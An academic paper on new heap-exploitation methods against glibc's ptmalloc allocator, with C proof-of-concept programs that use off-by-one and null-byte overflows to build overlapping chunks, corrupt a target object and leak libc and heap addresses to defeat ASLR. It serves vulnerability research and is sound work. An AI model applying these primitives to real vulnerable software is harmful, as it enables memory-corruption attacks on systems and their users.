New Exploit Methods against Ptmalloc of GLIBC

Tianyi Xie, Yuanyuan Zhang, Juanru Li, Hui Liu, Dawu Gu
School of Electronic Information and Electrical Engineering
Shanghai Jiao Tong University, Shanghai, China

***Abstract*—GNU Libc (GLIBC) is the standard C runtime library of most Linux distributions for PC and servers. There used to be many memory corruption exploit techniques against ptmalloc, the default heap allocator of GLIBC. But the widely deployment of mitigations like NX and ASLR on modern operating systems and continuous patching to ptmalloc effectively obsolete most of these techniques. We believe security always comes from design, and think the basic design of ptmalloc is obsolete and fundamentally flawed. In this paper, we present some new exploit methods against ptmalloc along with proof of concept code. We also discuss the feasibility of former exploit techniques in modern environments and compare them to our methods.**

1. Introduction

A program will behave abnormally when user input data reaches somewhere beyond the assumption of program designer, as a result of programming mistakes or lack of boundary checking. Normally the program will crash and terminate in such circumstances. But in some cases by using carefully crafted input data, a malicious attacker could totally take control of the program and execute arbitrary operations. These programming mistakes are *vulnerabilities* and the carefully crafted input is the *exploit* of the vulnerability.

The public research and discussion of memory corruption vulnerabilities began with [18], mainly focusing on stack based buffer overflows. Later [9] discussed buffer overflows on dynamic allocated memory (aka. heap) and their possible exploits.

Stack overflow exploits usually target the function return addresses, saved frame pointers [14] or other critical data on stack. But in heap overflow cases one potential target is the dynamic allocated data structure of applications, which is application dependent. The format of the structure and the semantics of each field in the structure depend on the applications. Another feasible target is the meta data structure of the heap allocator which is application independent and only depends on the implementation of the heap allocator. Obviously, the latter target is more generic and stable than the former one.

• *This work is partially funded by the Major program of Shanghai Science and Technology Commission (Grant No: 15511103002): Research on Mobile Smart Device Application Security Testing and Evaluating,2015.6.30-2017.6.30.*

Currently most Linux distributions for PC and servers use GNU Libc (GLIBC)[1] as their standard C runtime library. In GLIBC the dynamic memory allocation APIs like *malloc*, *free* and *realloc* are served by ptmalloc[2], a well-known heap allocator based on Dong Lea's Malloc (dlmalloc) with additional multi-thread support. Thus ptmalloc is made the de facto standard heap allocator on most Linux distributions due to the widely use of GLIBC.

As early as 2000 there had been some exploit techniques against heap overflows on dlmalloc, including the classical *unlink attack* [10]. In 2001 there were two papers [16][3] discussing exploits against heap allocators. Afterwards more advanced exploit techniques based on *unlink* [13][19] had been proposed.

Though the *unlink attack* was quickly fixed in later patches of dlmalloc, more attack methods were proposed. In [20] five new exploit techniques were proposed. In [12] a proof of concept was presented, exploiting a real world vulnerability with one of the techniques. In [20] the author gave a further discussion, making some corrections and complements on the details and demonstrating four of them with proof of concept.

In the past years, many operating systems have armored themselves with a lot of mitigations on memory corruption vulnerabilities. Among them *NX/DEP* and *ASLR* are the most widely known and deployed ones. *NX* prevents the binary data from being interpreted and executed as machine instructions, effectively rendering the shellcode based exploitation obsolete. Since the rise of code reuse attacks like return-to-libc[11][28][27], return-oriented-programming (ROP)[22][7][8][21] and jump-oriented-programming[6] in recent years, *NX* is no longer as effective as it used to be. *ASLR* randomizes the memory space layout of applications and shared libraries to prevent the attacker locating the shellcode or ROP gadget in memory with hardcoded addresses. *ASLR* is usually defeated by spray and memory address information leakage[25][15]. The former increases the success probability by inserting as much attack payload as possible in memory space. The latter helps infer the whole memory space layout through several leaked memory addresses.

Most of former exploit techniques become obsolete in modern world thanks to the widely deployment of mitigations and the continuous patching to ptmalloc. Although there have been various integrity checks adding to the latest ptmalloc, its basic design is fundamentally flawed in terms of security. We believe that security comes from design, not from additional integrity checks. It is for this reason, we present new exploit methods against the latest ptmalloc of GLIBC.

In summary, this paper makes the following contributions:

1) **Presenting new attack methods against the latest ptmalloc of GLIBC (version 2.23) considering modern operating systems with modern mitigations.**
2) **Demonstrating these new methods with proof of concept.**
3) **Discussing the feasibility of former exploit techniques in modern environments.**

2. Background

The basic concepts and data structures of ptmalloc will be briefly introduced and elaborated in this chapter.

The basic operations of heap allocator are *malloc*, *free* and *realloc*. Memory blocks managed by ptmalloc are called *chunks*. Each chunk must be in one of the two states: allocated or freed. The structure of a chunk is showed as follows.

```
struct malloc_chunk
{
/* Size of previous chunk (if free).  */
INTERNAL_SIZE_T      prev_size;
/* Size in bytes, including overhead. */
INTERNAL_SIZE_T      size;
/* double links -- used only if free. */
struct malloc_chunk* fd;
/* Only used for large blocks: pointer to
    next larger size.  */
struct malloc_chunk* bk;
/* double links -- used only if free. */
struct malloc_chunk* fd_nextsize;
struct malloc_chunk* bk_nextsize;
};
```

All the fields following the *size* field only exist in free chunks. In allocated chunks they are used to store user data. The *prev_size* field only exists when previous chunk is not in use. It is also used to store user data when previous chunk is in use. Generally, only the *size* field exists in every chunks.

Heap allocator does not pay too much attention on allocated chunks. On the other hand, free chunks are managed by heap allocator carefully, being stored in several internal data structures of allocator. These data structures are the most key part of an allocator design, whose design methodology includes fast, space-conserving and portable.

The general principle of ptmalloc is *best-fit*. It is important to keep it in mind when writing exploits. And ptmalloc has such a comment on itself:

"This is not the fastest, most space-conserving, most portable, or most tunable malloc ever written. However it is among the fastest while also being among the most space-conserving, portable and tunable. Consistent balance across these factors results in a good general-purpose allocator for malloc-intensive programs."[1]

Heap allocator uses a data structure named *arena* to manage free chunks. Each arena corresponds to a heap and there can be multiple heaps, therefore multiple arenas, existing in a process simultaneously. The arena corresponds to the initial heap is a special one called *main arena*. An arena consists of various linked lists called *bin*s, linking free chunks together. Each free chunk must belong to one and only one of the *bin*s. Currently there are four types of *bin*s, *fastbin*, *unsorted bin*, *small bin* and *large bin*.

2.1. Fastbin

Fastbin is a special design optimized for performance and cache locality. It is a single linked list similar to look aside table of *Windows*, in which free chunks of same size are linked in a LIFO way.

Chunk size of different fastbins varies. There are totally 10 fastbins in an arena yet the first 7 are used by default, ranging from 16 to 64 bytes on 32-bit systems or 32 to 128 bytes on 64-bit systems.

Fastbins are, by the name, fast. When allocating chunks of size within above range, the corresponding fastbin always takes precedence to satisfy the request. And when freeing such chunks they are placed into the fastbin immediately and not consolidated with adjacent free chunks.

The simplicity of its structure of single linked lists makes fastbins perfect targets for attackers. And the look aside table has been abandoned for security concerns since *Windows Vista*.

Other bins except fastbins are called *normal bins*. Generally normal bins are double linked lists accessed in a FIFO way. Bins are distinguished by its specific chunk size or chunk size range, except unsorted bin.

2.2. Unsorted bin

nsorted bin is unique in each arena. It is composed of chunks with arbitrary sizes. When allocating from unsorted bin, the linked list is traversed until a chunk of exact size is met. Those traversed but unfit chunks are taken from unsorted bin and inserted into their small bins or large bins according to their sizes. When freeing chunks not in the range of fastbin, they are inserted into unsorted bin at first rather than the small bins or large bins. The design of unsorted bin optimizes the performance of freeing chunks and cache locality.

The double linked list nature makes unsorted bin vulnerable to the legacy *unlink attack*. Nonetheless modern ptmalloc has already made precautions against the attack, making it harsh in practice.

We will present some new attack methods against unsorted bin later.

2.3. Small bin

Small bin consists of chunks of same size, ranging from 16 to 512 bytes on 32-bit systems or 32 to 1024 bytes on

64-bit systems. Each size in range maps to a unique small bin. Allocation of small bin takes chunk at one head of FIFO queue. And the chunks coming from unsorted bin are directly inserted into another head.

Small bins are relatively less attractive to attackers yet also exploitable by some new methods.

2.4. Large bin

Large bin contains chunks not of same size but within a specific range. Large bins are double linked list with sorted order, in which chunks of same size are placed in adjacent nodes. In addition, each group of same sized chunks has a representative being linked in another double linked list to speed up traversing using the *fd_nextsize* and *bk_nextsize* field.

When allocating from large bin, the linked list is traversed in ascendant order through *bk_nextsize* field until a chunk big enough to satisfy the request is met. If this chunk exactly fits then it is exhausted and directly returned to user. Otherwise it is split to two parts, one of which satisfies the request and the remainder is inserted into unsorted bin as a new free chunk. Chunks coming from unsorted bin will be inserted into a suitable position by traversing through *fd_nextsize* field, keeping the order of large bin.

There used to be a legacy technique called *frontlink* attack exploiting the large bin. Although the *frontlink* is long gone in modern libc, part of its relic remains and can still be exploited. We will show this later.

3. New Exploit Methods

We think it is time to present new exploit methods, as most of the former methods are more or less fixed or drastically weakened and become obsolete in the latest GLIBC with modern mitigations.

By exploiting a vulnerability like heap overflow, use-after-free or double free, the attacker is assumed to have achieved full control of the contents of heap memory, but no direct control of the contents of *arena*s as well as all the other memory. We take all the common mitigations of modern Linux systems including *NX*, *ASLR*, *PIE*, *RELRO* into consideration. The attacker is assumed to have no shellcode execution and no idea about the base addresses of heap, stack, application executable and shared libraries. Furthermore these base addresses are considered to be randomized independently. We treat all dynamic allocated objects as pure data buffers, not utilizing the application dependent features like C++ objects or *C* structures to perform the attack.

3.1. Free Chunk Enlarge Attack

This attack targets the *size* field of a free chunk. When previous chunk is in use, *size* field of current chunk is actually the first field after the user data of previous chunk. Supposing overflows happen in the previous chunk, the *size* field comes first to be corrupted even for a one or two byte overflow. The corruption of *size* field of a free chunk brings devastating consequences. As the first breakthrough, we present the *Free Chunk Enlarge Attack*.

There are five scenarios for a free chunk: fastbin, unsorted bin, small bin, large bin and the top chunk. The top chunk case is elaborated in *the House of Force* attack. Free chunks of fastbin are checked when allocating, so the *size* cannot be altered. Free chunks of small bin are of same size and the *size* field is not used when allocating. Free chunks of large bin are allocated according to the *size*, either exhausted or split. Free chunks of unsorted bin are allocated only in case of best fit, otherwise they are placed into small bin or large bin according to the *size*. Thus only the *size* of large bin chunks and unsorted bin chunks matter.

Enlarging the *size* of a large bin chunk or unsorted bin chunk tricks the heap allocator to regard the allocated memory next to current free chunk as part of it. Next allocation may cause the allocated memory to be allocated again and the contents of memory in use will be overwritten.

Considering an off-by-one scenario, the attack goes as follows:

1) Prepare three consecutive objects *V*, *A*, *T* on the heap. Among them *V* is the object with off-by-one vulnerability and *T* is the target object. The size of *A* must not be in fastbin range.
2) Free object *A*. *A* becomes a normal free chunk in unsorted bin.
3) Trigger off-by-one in *V* to corrupt and enlarge the *size* of *A*, faking an enlarged free chunk A_L.
4) Allocate object *B* from A_L with proper size, overlapping the former *A* and *T*.
5) Modifying the contents of *B* corrupts the contents of *T*.

Information leaks can be introduced by applying this attack. If the enlarged the chunk splits during allocation, the remainder becomes a new free chunk of unsorted bin. It is a common functionality for an application to read out part of the contents of *T*. If the remainder chunk is located in *T*, the *fd* and *bk* linked list pointers can be leaked out, which usually points to other chunks or bins in *main arena*. The attacker can infer the base address of heap and shared libraries through leaked pointers, effectively defeating *ASLR*.

This attack can be combined with other techniques for different types of target *T*. In case *T* is *top chunk*, classic *House of Force* can be applied.

3.2. Nonadjacent Free Chunk Consolidation Attack

This attack takes advantage of the consolidation of adjacent free chunks during chunk freeing, forcing nonadjacent chunks to be consolidated. When freeing a chunk, the heap allocator checks its previous and next chunk and consolidates them with current chunk if they are free. The next chunk is located by the *size* of current chunk and checked whether it is free. If the next chunk is *top chunk* it is directly consolidated with current chunk, otherwise it is first unlinked from linked list then consolidated. The previous chunk is checked free by the *prev_inuse bit* in *size* field of current chunk and located by the *prev_size* field. Then it is also unlinked and consolidated.

The *unlink* here is not quite interesting since there are a bunch of integrity checks as mentioned above. What really interests us is a real free chunk, as real ones always pass the integrity checks. Due to lack of checking on *size*, an attack can force the real free chunk to be consolidated with current chunk even they are not adjacent.

We present two scenarios here. The first one is similar to *Free Chunk Enlarge Attack* as the attacker can corrupt and enlarge the *size* of a chunk except the chunk is allocated instead of free in this scenario. It goes as follows:

1) Prepare four consecutive objects *V*, *A*, *T*, *B* on the heap. Among them *V* is the object with off-by-one vulnerability and *T* is the target object. The size of *B* must not be in fastbin range.
2) Free object *B*. *B* becomes either a normal free chunk or top chunk.
3) Trigger off-by-one in *V* to corrupt and enlarge the *size* of *A* to the sum of former size of *A* and *T*, faking an enlarged chunk A L .
4) Free object *A*. From the allocator's point of view, *B* is the next chunk of *A* as the *size* of *A* exactly locates *B*. Then *B* as a real free chunk is successfully unlinked and consolidated with nonadjacent *A*, forming a large free chunk A^* and also freeing the intermediate object *T*.
5) Allocate object *C* from chunk A^* with proper size, overlapping the former *A* and *T*.
6) Modifying the contents of *C* corrupts the contents of *T*.

The second one is a more restrictive null byte off-by-one scenario, as the attacker can only overflow a single null byte. The overflowed null byte in some cases zeros out the lowest byte of *size* thus the *prev_inuse bit* of next chunk, forcing a nonadjacent consolidation by carefully crafted *prev_size*. It goes as follows:

1) Prepare four consecutive objects *A*, *T*, *V*, *B* on the heap. Among them *V* is the object with null byte off-by-one vulnerability and *T* is the target object. The size of *A* must not be in fastbin range and the size of *B* must be multiples of 0x100.
2) Free object *A*. *A* becomes a normal free chunk.
3) Trigger null byte off-by-one in *V* to zero out the lowest byte of *size* of *B* to clear the *prev_inuse bit* and set *prev_size* of *B* to the sum of size of *A*, *T* and *V*.
4) Free object *B*. From the allocator's point of view, *A* is the previous chunk of *B* as the *prev_inuse bit* of *B* is not set and *prev_size* exactly locates *A*. Then *A* as a real free chunk is successfully unlinked and consolidated with nonadjacent *B*, forming a large free chunk A^* and also freeing the intermediate object *T*.
5) Allocate object *C* from chunk A^* with proper size, overlapping the former *A* and *T*.
6) Modifying the contents of *C* corrupts the contents of *T*.

Same as the *Free Chunk Enlarge Attack*, the remainder of chunk split may introduce information leaks and defeat ASLR. This attack can also be combined with other techniques for different types of target *T*.

3.3. Free Chunk Shrink Attack

We have the *Free Chunk Enlarge Attack* in case the *size* of chunk can be enlarged. Considering an extremely restrictive scenario in which the attacker can only overflow a single null byte and nothing more, not even the control of *prev_size*, we present the *Free Chunk Shrink Attack*.

The attack goes as follows:

1) Prepare three consecutive objects *V*, *A*, *B* on the heap. Among them *V* is the object with null byte off-by-one vulnerability. The size of *A* must be in large bin range and larger than target object *T*. The size of *B* must not be in fastbin range.
2) Free object *A*. *A* becomes a normal free chunk.
3) Trigger null byte off-by-one in *V* to zero out the lowest byte of *size* of *A* and shrink *A* to A_S, leaving a void area between A_S and object *B*.
4) Allocate object A_1 from A_S with proper size not in fastbin range.
5) Allocate target object *T* from the remainder of A_S.
6) Free object A_1. A_1 becomes a normal free chunk.
7) Free object *B*. The allocator will regard the former *A*, current A_1, as previous chunk of *B* since the *prev_size* and *size* of *B* remain untouched because of the void area. Then A_1 as a free chunk is successfully unlinked and consolidated with nonadjacent *B*, forming a large free chunk A^* and also freeing the intermediate object *T*.
8) Allocate object *C* from chunk A^* with proper size, overlapping the A_1 and *T*.
9) Modifying the contents of *C* corrupts the contents of *T*.

Information leaks may occur as well by utilizing the remainder of chunk split.

4. Evaluation

4.1. Proof of Concept

We will demonstrate the feasibility of the new exploit methods with proof of concept in this chapter.

The vulnerability and attack processes are simulated in PoC code. The object *V* represents the vulnerable object and the object *T* represents the hypothesized target object. We prove the success of attack by corrupting the contents of *T*.

All the PoC code is fully tested under the latest Ubuntu system. At the time of writing it is Ubuntu 16.04 LTS, with Linux kernel 4.4 and GLIBC 2.23. We also make successful test on Ubuntu 14.04.4 LTS with Linux kernel 3.13 and

GLIBC 2.19, and Ubuntu 15.10 with Linux kernel 4.2 and GLIBC 2.21. We believe the PoC code should be workable on older systems.

4.1.1. Free Chunk Enlarge Attack. First we present the proof of concept for *Free Chunk Enlarge Attack*. By triggering the off-by-one vulnerability in object *V* and enlarging the *size* of next free chunk, an attacker can finally corrupt the contents of *T*, as Code 1 shows:

Code 1: Free Chunk Enlarge Attack

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(){
  void *V = malloc(0x18); // vulnerable object
  void *A = malloc(0xf0); // chunk size 0x100, not fastbin
  char *T = (char*)malloc(0x10); // target
  strcpy(T, "Target");
  printf("T:␣%s\n", T);
  free(A);
  memcpy(V, "AAAAAAAAAAAAAAAAAAAAAAAA\x21", 0x19); // off-by-one, enlarge size of A to 0x120
  char *B = (char*)malloc(0x110);  // malloc B overlapping T
  strcpy(B+0x100, "Corrupted!"); // corrupt T
  printf("T:␣%s\n", T);
  return 0;
}
```

```
$ gcc enlarge_poc.c -fpie -pie
$ ./a.out
T: Target
T: Corrupted!
```

Mentioned in previous chapter, information leaks can be introduced with the remainder of chunk split by applying this attack as the proof of concept Code 2 shows.

```
$ gcc enlarge_infoleak_poc.c -fpie -pie
$ ./a.out
T: 1234567890abcdef deadbeaf
T: 7f88f26f3b78 55a5e6c68000
Base Address of Libc: 7f88f2330000
Base Address of Heap: 55a5e6c68000
```

For verification, Code 3 shows the memory map of the process:

The PoC shows that the base addresses of both heap and libc can be calculated by reading out some contents of object *T*. Furthermore, since all the shared libraries are mapped to continuous memory areas, their base addresses are also compromised by knowing the base address of libc.

4.1.2. Nonadjacent Free Chunk Consolidation Attack. The first scenario of *Nonadjacent Free Chunk Consolidation Attack* is similar to previous one. The attack triggers the off-by-one vulnerability in object *V* to enlarge the *size* of next allocated chunk and finally corrupts the contents of *T*, as Code 4 shows.

Code 2: Memory Address Leak

```
int main(){
  void *H = malloc(0x80);
  void *V = malloc(0x18); // vulnerable object
  void *A = malloc(0xf0); // chunk size 0x100, not fastbin
  long *T = (long*)malloc(0x10); // target
  T[0] = 0x1234567890abcdef;
  T[1] = 0xdeadbeaf;
  printf("T:␣%lx␣%lx\n", T[0], T[1]);
  free(A);
  memcpy(V, "AAAAAAAAAAAAAAAAAAAAAAAA\x21", 0x19); // off-by-one, enlarge size of A to 0x120
  void *B = malloc(0xf0);  // malloc B, split A
  free(H); // insert one more chunk into unsorted bin
  printf("T:␣%lx␣%lx\n", T[0], T[1]);
  long libc_base = T[0] - 0x3c3b78;
  long heap_base = T[1];
  printf("Base␣Address␣of␣Libc:␣%lx\n", libc_base);
  printf("Base␣Address␣of␣Heap:␣%lx\n", heap_base);
  return 0;
}
```

Code 4: Nonadjacent Free Chunk Consolidation Attack Scenario 1

```
int main()
{
  void *V = malloc(0x18); // vulnerable object
  void *A = malloc(0xf0); // chunk size 0x100, not fastbin
  char *T = (char*)malloc(0x10); // target
  void *B = malloc(0xf0); // chunk size 0x100, not fastbin
  strcpy(T, "Target");
  printf("T:␣%s\n", T);
  free(B);
  memcpy(V, "AAAAAAAAAAAAAAAAAAAAAAAA\x21", 0x19); // off-by-one, enlarge size of A to 0x120
  free(A); // force nonadjacent consolidation with B
  char *C = (char*)malloc(0x110); // malloc C, overlapping T
  strcpy(C+0x100, "Corrupted!");
  printf("T:␣%s\n", T);
  return 0;
}
```

```
$ gcc consol_poc1.c -pie -fpie
$ ./a.out
T: Target
T: Corrupted!
```

Code 3: Memory Map

```
# cat /proc/`pidof a.out`/maps
55a5e5670000-55a5e5671000 r-xp 00000000 08:01 1050793        /home/poc/a.out
55a5e5870000-55a5e5871000 r--p 00000000 08:01 1050793        /home/poc/a.out
55a5e5871000-55a5e5872000 rw-p 00001000 08:01 1050793        /home/poc/a.out
55a5e6c68000-55a5e6c89000 rw-p 00000000 00:00 0              [heap]
7f88f2330000-7f88f24f0000 r-xp 00000000 08:01 922865         /lib/x86_64-linux-gnu/libc-2.23.so
7f88f24f0000-7f88f26ef000 ---p 001c0000 08:01 922865         /lib/x86_64-linux-gnu/libc-2.23.so
7f88f26ef000-7f88f26f3000 r--p 001bf000 08:01 922865         /lib/x86_64-linux-gnu/libc-2.23.so
7f88f26f3000-7f88f26f5000 rw-p 001c3000 08:01 922865         /lib/x86_64-linux-gnu/libc-2.23.so
7f88f26f5000-7f88f26f9000 rw-p 00000000 00:00 0
7f88f26f9000-7f88f271f000 r-xp 00000000 08:01 922837         /lib/x86_64-linux-gnu/ld-2.23.so
7f88f2901000-7f88f2904000 rw-p 00000000 00:00 0
7f88f291c000-7f88f291e000 rw-p 00000000 00:00 0
7f88f291e000-7f88f291f000 r--p 00025000 08:01 922837         /lib/x86_64-linux-gnu/ld-2.23.so
7f88f291f000-7f88f2920000 rw-p 00026000 08:01 922837         /lib/x86_64-linux-gnu/ld-2.23.so
7f88f2920000-7f88f2921000 rw-p 00000000 00:00 0
7fff49ba3000-7fff49bc4000 rw-p 00000000 00:00 0              [stack]
7fff49bf8000-7fff49bfa000 r--p 00000000 00:00 0              [vvar]
7fff49bfa000-7fff49bfc000 r-xp 00000000 00:00 0              [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0      [vsyscall]
```

Code 5: Nonadjacent Free Chunk Consolidation Attack Scenario 2

```c
int main()
{
  void *A = malloc(0xf0); // chunk size 0x100, not fastbin
  char *T = (char*)malloc(0x10); // target
  void *V = malloc(0x18); // vulnerable object
  void *B = malloc(0xf0); // chunk size 0x100, not fastbin
  strcpy(T, "Target");
  printf("T:␣%s\n", T);
  free(A);
  memcpy(V, "AAAAAAAAAAAAAAAA\x40\x01\x00\x00\x00\x00\x00\x00\x00", 0x19); // null byte off by 1, clear prev_inuse of B and set prev_size to 0x140
  free(B); // force nonadjacent consolidation with A
  char *C = (char*)malloc(0x110); // malloc C, overlapping T
  strcpy(C+0x100, "Corrupted!");
  printf("T:␣%s\n", T);
  return 0;
}
```

Code 6: Free Chunk Shrink Attack

```c
int main()
{
  char *V = (char*)malloc(0x18); // vulnerable object
  void *A = malloc(0x400); // chunk size 0x410, not fastbin
  void *B = malloc(0xf0); // chunk size 0x100, not fastbin
  free(A);
  strcpy(V, "AAAAAAAAAAAAAAAAAAAAAAAA"); // null byte off by 1, shrink size of A to 0x400
  void *A1 = malloc(0xf0);
  char *T = (char*)malloc(0x10); // target
  strcpy(T, "Target");
  printf("T:␣%s\n", T);
  free(A1);
  free(B); // force consolidation with A1
  char *C = (char*)malloc(0x400); // malloc C, overlapping T
  strcpy(C+0x100, "Corrupted!");
  printf("T:␣%s\n", T);
  return 0;
}
```

```
$ gcc shrink_poc.c -pie -fpie
$ ./a.out
T: Target
T: Corrupted!
```

The second scenario is a more restrictive null byte off-by-one case. The overflowed null byte clears the *prev_inuse bit* of next chunk, forcing a nonadjacent consolidation by carefully crafted *prev_size*, as Code 5 shows.

```
$ gcc consol_poc2.c -pie -fpie && ./a.out
T: Target
T: Corrupted!
```

4.1.3. Free Chunk Shrink Attack. In an extremely restrictive null byte off-by-one scenario without the control of *prev_size*, the proof of concept Code 6 for *Free Chunk Shrink Attack* is presented.

4.2. Former Methods

There are many exploit techniques against the heap allocator of GLIBC. We will briefly introduce them and discuss their feasibility in modern environments.

4.2.1. Unlink.

Unlink is probably the earliest and the most well-known exploit technique against ptmalloc, first introduced by *Solar Designer* and later elaborated in [16] and [3]. It mainly takes advantage of the unlink operation during chunk freeing, by corrupting the linked list pointers in order to achieve an *almost arbitrary 4 bytes mirrored overwrite (aa4bmo)* primitive [13].

In 2004 several patches were released, effectively obsoleting the *unlink attack* by a series of strict integrity checks on linked list pointers during unlinking. In spite of some rare conditions the checks could be bypassed, the overall impacts are restrained in a small extent.

4.2.2. Frontlink.

Frontlink method was first elaborated in [16]. In some older versions of ptmalloc *fronlink* refers to the operation of inserting a chunk into a bin. When inserting a chunk into a large bin, it is traversed until a suitable inserting position is found in order to keep the order. By corrupting one of the traversed chunks, an attack can force an arbitrary address to be overwritten with a pointer to the inserted chunk. Attackers cannot overwrite with arbitrary value by *frontlink* method, making it less general than the *unlink* method.

In newer versions of ptmalloc *frontlink* is eliminated because of code refactoring, yet part of its code still remains.

4.2.3. Malloc Maleficarum.

After the fix of *unlink* method, five new techniques were presented in [20]. It was mainly a theoretical discussion with regard to the topic of heap overflows and lacks proof of concept. But later in [12] a proof of concept was presented, exploiting a real world vulnerability with *The House of Mind* technique and correcting some mistakes in former article. In [5] the author gave a further discussion on these five techniques, pointing out some mistakes and ignored details, improving some of the techniques and demonstrating four of five with proof of concept.

The final goal of **The House of Prime** is to gain complete control over the arena structure and craft a fake one, in order to allocate a chunk on arbitrary address. The attack process includes at least two *free*s and one *malloc*, starting from freeing a chunk with corrupted *size* field, which is too small that makes its index in fastbin -1, causing an out of range write to the fastbin array.

In newer versions of ptmalloc the *size* of chunk is correctly checked, prevents the out of range write and fixes this attack fundamentally. But the techniques used after faking the arena structure are still practical nowadays.

The House of Mind targets the arena structure as well, except only one *free* is required. It takes advantage of the *NON_MAIN_ARENA* bit in chunk head that indicates whether the current chunk is allocated from an arena other than *main arena*. When freeing chunks with *NON_MAIN_ARENA* bit set, its corresponding arena is retrieved in a special way. By corrupting the *NON_MAIN_ARENA* bit, an attacker can force a fully controllable fake arena structure to be retrieved. Performing free with this fake arena may lead to arbitrary write.

Newer versions of GLIBC makes an effective but not fundamental fix, stopping *the House of Mind* by additional integrity checks that blocks the two possible ways of arbitrary write in the last step proposed by the author.

The House of Force mainly targets the *top chunk* in order to allocate a chunk on arbitrary address. By tampering the *size* of top chunk to a very large value and allocating a chunk with attacker controlled size, the *top chunk* can be set to anywhere, so that next allocation happened in *top chunk* will produce a chunk on this address.

As far as we know, no specific patches of ptmalloc against *the House of Force* have ever been released.

The House of Lore is pure theoretical and no proof of concept has ever been showed. Its goal is to allocate a chunk on arbitrary address by corrupting the bins with corrupted free chunks. It starts from corrupting the linked list pointers in free chunks through heap overflows. Next time this corrupted free chunk is allocated, the corrupted pointers will be propagated to the bin and next allocation happened in this corrupted bin may produce a chunk on arbitrary address.

The author gives theoretical discussion on the feasibility of *the House of Lore* with regard to both small bins and large bins, concluding it can only work with some strict prerequisites far from practical.

In newer versions of GLIBC there are additional integrity checks during allocating from small bins and large bins, making it impossible to allocate a chunk on arbitrary address from small bins or large bins. Nevertheless there are no checks or just some easy bypassed checks for fastbins and unsorted bin.

The House of Spirit can lead to memory overwrite by corrupting a pointer passed to free. An attacker can force a free operation on arbitrary address, by tampering the pointer to be freed. Future allocation of the same size will produce a chunk on the same address, allowing the attacker to overwrite the target memory. In order to launch the attack, the target memory layout must meet some preconditions rare in practice.

There are no specific patches against this method, actually just several additional integrity checks.

4.3. Comparison

We compare the effectiveness of our methods to legacy methods on various GLIBC versions. Our methods prevail undoubtedly as Table 1 shows:

5. Related Work

The public research and discussion of memory corruption vulnerabilities starts with [18], mainly focusing on stack based buffer overflows. Heap overflow exploits are first discussed in [9]. [10] presents *unlink*, the first general heap exploit technique. [16][3] elaborates this technique. Afterwards more advanced exploit techniques based on *unlink* [13][19] are proposed.

TABLE 1: Comparison of exploit methods on various GLIBC versions

Exploit Methods	GLIBC-2.23	GLIBC-2.21	GLIBC-2.19	GLIBC-2.3.6	GLIBC-2.1.x 2.2.x
Unlink	No	No	No	No	Yes
Frontlink	No	No	No	No	Yes
House of Prime	No	No	No	Yes	Yes
House of Mind	No	No	No	Yes	Yes
House of Force	Yes	Yes	Yes	Yes	Yes
House of Spirit	Hard	Hard	Hard	Hard	Yes
Free Chunk Enlarge Attack	Yes	Yes	Yes	Yes	Yes
Nonadjacent Free Chunk Consolidation Attack	Yes	Yes	Yes	Yes	Yes
Free Chunk Shrink Attack	Yes	Yes	Yes	Yes	Yes

In [20] five new exploit techniques are proposed. In [12] a proof of concept is presented, exploiting a real world vulnerability with one of the techniques. In [20] the author gives a further discussion, making some corrections and complements on the details and demonstrating four of them with proof of concept. [24] discusses some exploit techniques on *Windows* platform.

[26] summarizes exploit techniques against memory corruption bugs and their mitigations. *NX/DEP* and *ASLR*[4][23] are the most widely known and deployed mitigations on modern operating systems. Some heap specific schemes[17] are also proposed.

6. Conclusion

In this paper, we present several new exploit methods against the heap allocator of latest GLIBC. Despite all the patches and mitigations, there are still so many possible ways to attack, and there could be more underground. In terms of security, the basic design of ptmalloc is obsolete and fundamentally flawed. Security always comes from design, not from additional checks.

References

[1] The gnu c library (glibc). http://www.gnu.org/software/libc/. Accessed April 20, 2016.

[2] Wolfram gloger's malloc homepage. http://www.malloc.de/en/. Accessed April 20, 2016.

[3] anonymous. Once upon a free. *Phrack Volume 0x09, Issue 0x39*, 2001.

[4] Sandeep Bhatkar, Daniel C DuVarney, and Ron Sekar. Address obfuscation: An efficient approach to combat a broad range of memory error exploits. In *USENIX Security*, volume 3, pages 105–120, 2003.

[5] blackngel. Malloc des-maleficarum. *Phrack Volume 0x0d, Issue 0x42*, 2009.

[6] Tyler Bletsch, Xuxian Jiang, Vince W Freeh, and Zhenkai Liang. Jump-oriented programming: a new class of code-reuse attack. In *Proceedings of the 6th ACM Symposium on Information, Computer and Communications Security*, pages 30–40. ACM, 2011.

[7] Erik Buchanan, Ryan Roemer, Hovav Shacham, and Stefan Savage. When good instructions go bad: generalizing return-oriented programming to risc. In *Proceedings of the 15th ACM conference on Computer and communications security*, pages 27–38. ACM, 2008.

[8] Stephen Checkoway, Lucas Davi, Alexandra Dmitrienko, Ahmad-Reza Sadeghi, Hovav Shacham, and Marcel Winandy. Return-oriented programming without returns. In *Proceedings of the 17th ACM conference on Computer and communications security*, pages 559–572. ACM, 2010.

[9] Matt Conover. w00w00 on heap overflows, 1999.

[10] Solar Designer. Jpeg com marker processing vulnerability. http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt. Accessed April 20, 2016.

[11] Solar Designer. return-to-libc attack. *Bugtraq, Aug*, 1997.

[12] eZine Alpha. House of mind. http://www.awarenetwork.org/etc/aware.ezine.1.alpha.txt. Accessed April 20, 2016.

[13] jp. Advanced doug lea's malloc exploits. *Phrack Volume 0x0b, Issue 0x3d*, 2003.

[14] klog. The frame pointer overwrite. *Phrack Volume 0x09, Issue 0x37*, 1999.

[15] Hector Marco-Gisbert and Ismael Ripoll-Ripoll. Exploiting linux and pax aslrs weaknesses on 32-and 64-bit systems. 2016.

[16] MaXX. Vudo malloc tricks. *Phrack Volume 0x0b, Issue 0x39*, 2001.

[17] Gene Novark and Emery D Berger. Dieharder: securing the heap. In *Proceedings of the 17th ACM conference on Computer and communications security*, pages 573–584. ACM, 2010.

[18] Aleph One. Smashing the stack for fun and profit. *Phrack magazine*, 7(49):14–16, 1996.

[19] Phantasmal Phantasmagoria. Exploiting the wilderness. *Repository Root Me*, 2004.

[20] Phantsmal Phantasmagoria. The malloc maleficarum. *Bugtraq maillinglist*, 2005.

[21] Ryan Roemer, Erik Buchanan, Hovav Shacham, and Stefan Savage. Return-oriented programming: Systems, languages, and applications. *ACM Transactions on Information and System Security (TISSEC)*, 15(1):2, 2012.

